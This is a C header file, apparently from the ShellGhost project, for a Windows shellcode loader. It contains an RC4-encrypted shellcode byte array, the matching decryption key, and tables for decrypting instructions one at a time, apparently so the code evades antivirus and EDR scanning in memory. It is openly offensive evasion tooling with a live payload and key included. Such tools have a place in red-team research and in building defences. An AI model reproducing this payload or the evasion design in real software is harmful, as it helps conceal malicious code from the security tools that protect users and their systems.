/*
*
* Author: Angelo Frasca Caccia (lem0nSec_)
* Date: 06/06/2023
* Title: Shellghost.h
* Website: https://github.com/lem0nSec/ShellGhost
*
*/


#pragma once

#define UMDF_USING_NTSTATUS

#include <windows.h>
#include <ntstatus.h>
#include <stdio.h>



typedef enum {

	INSTRUCTION_OPCODES_QUOTA,
	INSTRUCTION_OPCODES_RVA,
	INSTRUCTION_OPCODES_NUMBER

} INSTR_INFO;


typedef struct USTRING {

	DWORD Length;
	DWORD MaximumLength;
	PVOID buffer;

} USTRING, * PUSTRING;

typedef struct CRYPT_BYTES_QUOTA {

	DWORD RVA;
	DWORD quota;

} CRYPT_BYTES_QUOTA, * PCRYPT_BYTES_QUOTA;

typedef NTSTATUS(NTAPI* PSYSTEMFUNCTION032) (USTRING* toEnc, USTRING* kNeeded);
unsigned char sh[] = { 0x62, 0xd6, 0xd6, 0x4c, 0x3c, 0x76, 0x95, 0xa8, 0xcc, 0xa8, 0xdf, 0x4, 0xdf, 0x5, 0xcc, 0xcf, 0xc8, 0xd6, 0x64, 0x7a, 0xfb, 0x1d, 0x23, 0x9e, 0xc8, 0xd6, 0xde, 0xfa, 0xd4, 0xd6, 0xde, 0xfa, 0xec, 0xd6, 0xde, 0xda, 0x9c, 0xd6, 0x5a, 0x1f, 0x86, 0xe2, 0xd3, 0x64, 0x61, 0xd6, 0x64, 0x68, 0x32, 0xa2, 0x34, 0xe2, 0x57, 0xb2, 0x75, 0xdf, 0x94, 0x61, 0xc1, 0xdf, 0x54, 0x69, 0x7c, 0xb8, 0xcc, 0xdf, 0x4, 0xd6, 0xde, 0xfa, 0xec, 0x15, 0x17, 0x94, 0xd6, 0x54, 0x78, 0x15, 0xd5, 0x20, 0xcc, 0xa8, 0x13, 0xd6, 0xd0, 0x68, 0xea, 0x32, 0xd6, 0x54, 0x78, 0xce, 0x15, 0x1d, 0xb0, 0xda, 0xde, 0xe8, 0xec, 0xd7, 0x54, 0x78, 0x7d, 0x3, 0xd6, 0xaa, 0x61, 0xdf, 0xde, 0x9c, 0x44, 0xd6, 0x54, 0x7e, 0xd3, 0x64, 0x61, 0xd6, 0x64, 0x68, 0x32, 0xdf, 0x94, 0x61, 0xc1, 0xdf, 0x54, 0x69, 0xa6, 0xb5, 0xeb, 0xa4, 0xd2, 0x56, 0xe4, 0xe8, 0xa0, 0xdb, 0x6c, 0x79, 0xeb, 0x8d, 0xc6, 0xda, 0xde, 0xe8, 0xe8, 0xd7, 0x54, 0x78, 0xf8, 0x14, 0x23, 0xc0, 0xe0, 0xda, 0xde, 0xe8, 0xd0, 0xd7, 0x54, 0x78, 0xdf, 0xde, 0xac, 0x44, 0xd6, 0x54, 0x78, 0xdf, 0xd, 0xdf, 0xd, 0xc0, 0xc7, 0xc4, 0xdf, 0xd, 0xdf, 0xc, 0xdf, 0xf, 0xd6, 0xd6, 0x44, 0xec, 0xdf, 0x7, 0x61, 0xb5, 0xc6, 0xdf, 0xc, 0xc4, 0xd6, 0xde, 0xba, 0x77, 0x2, 0x57, 0x33, 0x57, 0xc3, 0xd6, 0xef, 0xa9, 0xcc, 0xa8, 0x13, 0xde, 0x41, 0xc6, 0xbc, 0xd6, 0xd8, 0x25, 0xcd, 0xa9, 0x13, 0xde, 0xdf, 0xef, 0x99, 0x47, 0xc7, 0x94, 0x61, 0x80, 0x25, 0xb5, 0xb5, 0xe6, 0xa2, 0xdf, 0xef, 0xe, 0x59, 0x15, 0x8e, 0x61, 0x80, 0xd6, 0xd6, 0x6c, 0xe4, 0xa2, 0x53, 0xe2, 0x5f, 0x1e, 0xae, 0x48, 0xeb, 0x50, 0x25, 0x12, 0xbb, 0xbe, 0xc7, 0xf4, 0x55, 0xc7, 0xdf, 0xdc, 0x72, 0x61, 0x80, 0xfd, 0xff, 0xf2, 0xfd, 0xb0, 0x30, 0xd0, 0xa9, 0x9e };

unsigned int bufSize = sizeof(sh);
unsigned char k[] = { 0x3b, 0x21, 0xff, 0x41, 0xe3 };
unsigned int keySize = sizeof(k);

LPVOID allocation_base = 0;
CRYPT_BYTES_QUOTA instruction[98];
DWORD instructionCount = 98;
PVOID previous_instruction = 0;